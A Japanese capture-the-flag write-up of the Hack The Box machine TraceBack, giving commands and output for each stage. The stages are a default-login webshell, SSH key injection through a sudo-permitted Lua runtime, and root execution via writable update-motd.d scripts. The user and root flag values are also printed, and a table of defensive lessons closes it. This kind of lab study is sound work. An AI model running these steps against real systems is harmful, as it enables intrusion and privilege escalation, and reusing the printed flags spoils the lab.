Hack The BoxのWriteup(TraceBack)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: TraceBack — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)のみ
→
HTMLコメントのヒント
“best web shells”
→
smevk.php webshell
デフォルト認証 admin:admin
→
webadmin RCE
→
sudo -l で luvit 発見
NOPASSWD as sysadmin
→
luvit(Lua)でSSH鍵注入
io.open書込
→
sysadmin SSH
user.txt ✓
→
update-motd.d 書込可
SSHログイン時にroot実行
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バナー確認

BASH
ping -c 2 -W 3 10.129.88.108
curl -s -i http://10.129.88.108/
RESULT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Tue, 27 Aug 2019 11:29:44 GMT
<title>Help us</title>
✅
ターゲット確認: タイトル”Help us”と2019年のLast-Modifiedから HackTheBox TraceBack (Easy Linux) と一致することを確認。

サイト本文の確認 — 改ざんページ

BASH
curl -s http://10.129.88.108/
RESULT
<h1>This site has been owned</h1>
<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
<h3> - Xh4H - </h3>
<!--Some of the best web shells that you might need ;)-->
ℹ️
攻撃者(劇中の設定上の自称)が既にサイトを改ざんしており、HTMLコメントに 「一番良いwebシェル」というヒントを残している。これは Xh4H/Web-Shells リポジトリへの手掛かりで、同リポジトリに含まれる smevk.php が 実際にこのサーバーへ設置されている。
PHASE 2

smevk.php webshell の発見とログイン

smevk.php の存在確認とデフォルト認証

BASH
curl -s -o /dev/null -w "smevk.php: %{http_code}\n" http://10.129.88.108/smevk.php
curl -s -c cookies.txt -d "uname=admin&pass=admin&login=Login" http://10.129.88.108/smevk.php
RESULT
smevk.php: 200
(ログイン後レスポンスに Console / FilesMAn / webadmin の文字列を確認)
✅
SmEvK_PaThAn Shell V3がデフォルト認証情報 admin:adminのまま設置されており、そのままログインできる。
PHASE 3

Console機能でのRCE → sudo権限の調査

Console (a=Console&p1=<cmd>) でコマンド実行

BASH
curl -s -b cookies.txt \
  --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" --data-urlencode "p1=id" \
  http://10.129.88.108/smevk.php \
  | grep -oP "(?s)name=output[^>]*>\K.*?(?=)"
RESULT
$ id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
✅
webadminとしてRCE成立。コマンド結果は <textarea name=output>内に出力される。

sudo -l で横移動経路を発見

BASH
curl -s -b cookies.txt \
  --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" --data-urlencode "p1=sudo -l" \
  http://10.129.88.108/smevk.php | grep -oP "(?s)name=output[^>]*>\K.*?(?=)"
RESULT
User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit
✅
webadminはパスワード無しでsysadminとして /home/sysadmin/luvit(Lua/libuvベースの軽量ランタイム”luvit”)を 実行できる。任意のLuaスクリプトをsysadmin権限で実行できることを意味する。
PHASE 4

luvit(Lua)経由のSSH鍵注入 → user.txt

攻撃用SSH鍵の生成

BASH
ssh-keygen -t rsa -b 2048 -f tb_key -N "" -q

Luaスクリプトをbase64で転送 (クォート地獄の回避)

PYTHON風 (実際はbashヒアドキュメント)
# inject.lua の内容
os.execute('mkdir -p /home/sysadmin/.ssh')
local f = io.open('/home/sysadmin/.ssh/authorized_keys', 'w')
f:write('<自分の公開鍵>\n')
f:close()
os.execute('chmod 600 /home/sysadmin/.ssh/authorized_keys')
local u = io.open('/home/sysadmin/user.txt')
if u then print(u:read('*a')) end   -- 詳細は4-3のハマりポイント参照
BASH
# Step1: lua ファイルをbase64経由でサーバーに書き込む
B64=$(base64 -w0 inject.lua)
curl -s -b cookies.txt --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" \
  --data-urlencode "p1=echo $B64 | base64 -d > /tmp/kcr_tb.lua" \
  http://10.129.88.108/smevk.php

# Step2: sudo経由でsysadminとしてluvit実行
curl -s -b cookies.txt --data-urlencode "a=Console" --data-urlencode "c=/var/www/html/" \
  --data-urlencode "p1=sudo -u sysadmin /home/sysadmin/luvit /tmp/kcr_tb.lua" \
  http://10.129.88.108/smevk.php
⚠️
base64エンコードした長いLuaコードとsudo ...を1リクエストでセミコロン 連結すると、なぜか後半のsudo部分の出力が一切返ってこない現象が発生した。 2つのリクエストに分割(①ファイル書込 → ②実行)することで安定して動作する。

ハマりポイント: luvitの io.write() はクラッシュする (SIGABRT)

BASH (再現)
# io.write() を使うバージョン → 終了コード134(SIGABRT)でクラッシュし出力無し
echo '...f:write(pubkey)...local u=io.open(...); io.write(u:read("*a"))...' \
  | base64 -d > script.lua
sudo -u sysadmin /home/sysadmin/luvit script.lua 2>&1; echo RC=$?
RESULT
Aborted
RC=134
BASH (修正: print() に置き換え)
# 同じ処理内容だが最後の出力だけ print() に変更
...local u=io.open('/home/sysadmin/user.txt')
if u then print(u:read('*a')) end
RESULT
got:	72e2b0a830982d29f87afbc6e42ca918

RC=0
🚨
原因: luvit は libuv ベースの非同期(イベントループ)ランタイムであり、 標準Luaのio.write()が使う同期的な標準出力書込経路と相性が悪く、 スクリプトの最後に呼び出すと内部で異常終了(SIGABRT)してしまう。単体の io.open(path,'w')での書込やos.execute()自体は問題無く動作するため、 標準出力への出力だけprint()に置き換えることで安定して動作した。
user.txt — luvit(Lua)経由の直接読み取り
72e2b0a830982d29f87afbc6e42ca918

sysadmin へSSHログイン(鍵注入の最終確認)

BASH
ssh -i tb_key -o StrictHostKeyChecking=no sysadmin@10.129.88.108 \
  "id; cat /home/sysadmin/user.txt"
RESULT
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
72e2b0a830982d29f87afbc6e42ca918
✅
注入した公開鍵でsysadminとしてSSHログインできることを確認。
PHASE 5

update-motd.d の悪用 → root.txt

書込可能なmotdスクリプトの発見

BASH
ssh -i tb_key sysadmin@10.129.88.108 "ls -la /etc/update-motd.d/"
RESULT
-rwxrwxr-x 1 root sysadmin 981 00-header
-rwxrwxr-x 1 root sysadmin 982 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 80-esm
-rwxrwxr-x 1 root sysadmin 299 91-release-upgrade
🚨
/etc/update-motd.d/配下の全スクリプトがグループsysadminに 書込権限(rwx)を与えている。これらのスクリプトはSSHログイン時にrootとして 自動実行される(Ubuntuのmotd機構)。

00-header にフラグコピー処理を追記

BASH
ssh -i tb_key sysadmin@10.129.88.108 \
  "echo 'cat /root/root.txt > /tmp/.rootflag 2>/dev/null; chmod 644 /tmp/.rootflag 2>/dev/null' \
   >> /etc/update-motd.d/00-header"
ℹ️
cronジョブが/var/backups/.update-motd.d/から約30秒ごとに オリジナルへ復元してしまうため、注入後は即座に次のSSHログインを発生させる 必要がある。

新規SSHログインでroot実行をトリガー → root.txt取得

BASH
# motdはログインバナー表示の「前」に実行されるため、
# 同一セッション内でそのまま cat すれば読める
ssh -i tb_key sysadmin@10.129.88.108 "cat /tmp/.rootflag"
RESULT
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################
8a137fbe4db5c06ca1b0e3a451b6fb98
root.txt — update-motd.d 経由のroot実行で取得
8a137fbe4db5c06ca1b0e3a451b6fb98
✅
新しいSSH接続が確立するたびにmotdスクリプト群がroot権限で実行されるため、 別々にトリガー・読み取りする必要はなく、ログイン直後の同一セッションで ただちに/tmp/.rootflagを読み取れる。

後始末 (痕跡最小化)

BASH
ssh -i tb_key sysadmin@10.129.88.108 \
  "cp /var/backups/.update-motd.d/00-header /etc/update-motd.d/00-header"
ℹ️
改変した00-headerをバックアップから復元する(どのみちcronが30秒で 自動的に元に戻すため必須ではないが、速やかに原状復帰するのが望ましい)。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — luvit(Lua) 経由
72e2b0a830982d29f87afbc6e42ca918
root.txt — update-motd.d 経由
8a137fbe4db5c06ca1b0e3a451b6fb98

使用した脆弱性・設定ミス

脆弱性/設定ミス 対象 影響 深刻度 利用方法
Webシェルのデフォルト認証情報 smevk.php (SmEvK_PaThAn Shell V3) リモートコード実行 (webadmin) Critical admin:adminでログインし Console 機能からコマンド実行
過剰なsudo権限 (NOPASSWD) webadmin → sysadmin 経由の luvit 権限昇格 (sysadminへの横移動) High luvit(Luaランタイム)を使い任意のファイル操作・コマンド実行を行いSSH鍵を注入
グループ書込可能なmotdスクリプト /etc/update-motd.d/* 権限昇格 (root) Critical SSHログイン時にroot権限で自動実行されるスクリプトへコマンドを追記

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + curl バナー確認22/80のみ開放、改ざんページの発見
2Webシェル発見HTMLコメントのヒント追跡smevk.php (admin:admin)
3RCE & 権限調査Console機能 + sudo -lwebadminシェル、luvit NOPASSWD発見
4横移動luvit(Lua)でSSH鍵注入user.txt、sysadmin SSHアクセス
5権限昇格update-motd.d へのコマンド追記root.txt

学んだ教訓 & 防御策

問題点防御策
侵入されたWebシェルがデフォルト認証情報のまま放置されている そもそもWebシェルの設置を許さない(アップロード機能の厳格な検証、WAF導入)。 万一発見した場合は即座に削除し侵入経路を特定する。
一般ユーザーが他ユーザーとして任意のスクリプトランタイムをNOPASSWDで実行できる sudoersのNOPASSWD設定は必要最小限のコマンド・引数に限定し、 汎用のインタプリタ/ランタイムを丸ごと許可しない。
特権で実行されるログインスクリプト群が非特権グループに書込可能 root権限で実行されるファイルは root:root 所有かつ書込権限を他ユーザーに 与えない(644/755)。グループ書込が必要な場合は実行時の権限分離を見直す。
HackTheBox: TraceBack | 完全攻略レポート